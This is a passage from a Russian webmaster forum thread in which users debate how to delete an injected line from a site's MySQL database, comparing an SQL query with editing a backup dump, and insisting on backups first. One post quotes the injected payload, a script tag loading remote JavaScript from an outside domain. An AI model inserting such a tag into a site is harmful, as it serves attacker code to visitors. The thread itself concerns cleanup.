X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

4 страниц V  < 1 2 3 4 >
Открыть тему
Тема закрыта
> Как удалить строчку из БД и не сломать сайт
SpaceX
SpaceX
сообщение 26.7.2015, 19:37; Ответить: SpaceX
Сообщение #12


ув. kagtus, да, вами предложенный вариант имеет право на жизнь, так же как и править все 1000 постов вручную..

sql-запрос же, уже написан, осталось его выполнить.. если вам кажется, что он неверен/с ошибками/не рабочий/или же потрёт что-то больше чем указанно, ткните пальцем на косяк..


Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Sev_free
Sev_free
сообщение 26.7.2015, 21:39; Ответить: Sev_free
Сообщение #13


x64, дело не в этом, SQL запрос это решит, но если человек не знает SQL? Либо где то ошибется случайно либо еще что то.... У меня бывало такое, что люди не знающие SQL брали запрос - изменяли и потом вся таблица пустая, либо поломанная. Если бы я видел перед собой данную БД, то написал бы строчечку "айболит"а...


--------------------


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dagdag
dagdag
сообщение 26.7.2015, 23:25; Ответить: dagdag
Сообщение #14


и тут мы сталкиваемся с забавным эффектом
- бекап базы необходим. иначе шаловливыми ручками можно нанести ущерб больше, чем вирус.
- бекап это SQL файл. ну как правило...
- раз он все равно есть, предложение (тут выше в теме) почистить злосчастную строчку нотепадом - имеет право на существование. потом останется просто восстановить почищенный бекап и радоваться вылеченному сайту.

think again. зачем человеку разбираться с SQL если оно ему не понадобится окромя этого случая?


--------------------
клоновод


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 27.7.2015, 8:54; Ответить: kagtus
Сообщение #15


SpaceX, Sev_free и dagdag вместе более развернуто сказали то, что я пытался в посте #6, за что им спасибо!!!
Смысл был не в том на сколько все тут присутствующие хорошие/плохие кодеры, а в возможной ошибке и обязательном наличии бекапа, обязательном!!! не стоит зарекаться, все бывает, даже случайно нажатая клавиша может много лишнего натворить.
соответственно оба способа равнозначны, значит и сарказм x64 неуместен.




Цитата
в чём заключался сарказм?

Цитата(x64)
ребят молодцы, лёгких путей не ищут :D

да не, нормальные такие фразы, никакого сарказма...

Цитата
не равнозначны

и 10 и 100 и 1000, но нигде в выше предложенных sql-запросах никакой временной таблицы не фигурирует, не надо приплетать "а можно", "а если".


P.S. ой ой с форумом что то неладное, сообщения модераторов пропадают при добавлении ответов...

Сообщение отредактировал kagtus - 27.7.2015, 9:08


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 27.7.2015, 9:11; Ответить: x64
Сообщение #16


Цитата(kagtus @ 27.7.2015, 7:54) *
никакого сарказма...

Абсолютно. Всего лишь здравый взгляд на вещи.

Цитата(kagtus @ 27.7.2015, 7:54) *
не надо приплетать "а можно"

Для чего сами приплетаете тогда?
Цитата(kagtus @ 27.7.2015, 7:54) *
а в возможной ошибке


Цитата(kagtus @ 27.7.2015, 7:54) *
нигде в выше предложенных sql-запросах никакой временной таблицы не фигурирует

Нигде в Ваших ответах не фигурирует, что нужно скачать бекап базы, а все действия проводить на копии этого файла.
Есть такое понятие, как здравый смысл.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 27.7.2015, 9:19; Ответить: kagtus
Сообщение #17


Цитата
Нигде в Ваших ответах не фигурирует, что нужно скачать бекап базы

читаем пост #6
Цитата
на копии этого файла.

про CRTL+Z не я сказал (пост #10)


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 27.7.2015, 9:26; Ответить: x64
Сообщение #18


Цитата(kagtus @ 27.7.2015, 8:19) *
читаем пост #6

Пусть этот, не суть. Общий порядок действий будет таким: скачать бекап, сделать на нём изменения, закрыть (+сохранить), залить изменёнку в базу.
Всё хорошо? Одно но: если замена была с ошибкой, где брать копию с оригинальным состоянием, до правок? Ctrl-Z работает, пока файл не закрыт.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 27.7.2015, 9:36; Ответить: kagtus
Сообщение #19


Цитата
где брать копию

если не сильно бегом все удалять, то скачать бекап по новой.
или вы обычно сразу DROP TABLE's делаете?

Сообщение отредактировал kagtus - 27.7.2015, 9:37


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SpaceX
SpaceX
сообщение 27.7.2015, 9:37; Ответить: SpaceX
Сообщение #20


ребята все вы правы, если смотреть со своей точки зрения...

т.к. виновник торжества указал вопрос "как корректно удалить повторяющуюся запись вида "<script type="text/javascript" src="//wq4.ru/js.js"></script>" из БД MYSQL?" и про PHPMyAdmin, что через него он что-то пытался сделать, посему надо полагать, что он более или менее знаком с ним.. было ли это конкретно сделано через бекап или же создал дубликат таблицы, отработал на оригинале, при каке удалил оригинал и вернул из дубликата история это умалчивает :)

выполнить sql-запрос было бы куда легче.. бекапы же всегда надо делать как новичкам так и гуру, от ошибок никто не застрахован..

+ не забывайте, что базу можно похерить и в блокноте.. удалив невзначай кавычку или ещё что-нить...

кстати, duoseo, удалось ли вам решить проблему? а главное каким способом, чей совет вам пригодился/кажется легче и правильнее? :spiteful:

UPD
Цитата
или вы обычно сразу drop table's делаете?


ну рукалицо то ещё.. пока он не попробует загрузить бекап обратно, он не поймёт была ли там ошибка.. а загружать надо в чистую БД.. либо переименовать все таблицы :blush:

Сообщение отредактировал SpaceX - 27.7.2015, 9:40


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 27.7.2015, 9:43; Ответить: x64
Сообщение #21


Цитата(kagtus @ 27.7.2015, 8:36) *
скачать бекап по новой

Поздно:
Цитата(x64 @ 27.7.2015, 8:26) *
залить изменёнку в базу


Таким образом, сами же подтвердили, что Ваш вариант потенциально допускает неверное использование.
Развернуть/Свернуть


ЗЫ: ТС пошёл по правильному пути: задал вопрос — получил быстрый ответ. А простому решению всегда можно найти применение.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
4 страниц V  < 1 2 3 4 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Арбитражники, как ведете учет расходов и доходов?
12 Boymaster 1850 Сегодня, 21:03
автор: MisterBit
Горячая тема (нет новых ответов) Как вывести деньги в Украине с заблокированного Юмани ?
29 freeax 4811 17.4.2024, 1:19
автор: sergio11
Открытая тема (нет новых ответов) Ваш сайт блокирует Роскомнадзор?
27 hollywooduk 5719 17.4.2024, 0:19
автор: Omaxis
Открытая тема (нет новых ответов) Прототипирование + дизайн + вёрстка = красивый и эффективный сайт под ключ
0 bunneh 334 16.4.2024, 18:02
автор: bunneh
Открытая тема (нет новых ответов) Если в сайт с одними ключами, которые там долго, добавить новую рубрику с новыми ключами
2 Tutich 1219 16.4.2024, 8:27
автор: Tutich


 



RSS Текстовая версия Сейчас: 19.4.2024, 21:47
Дизайн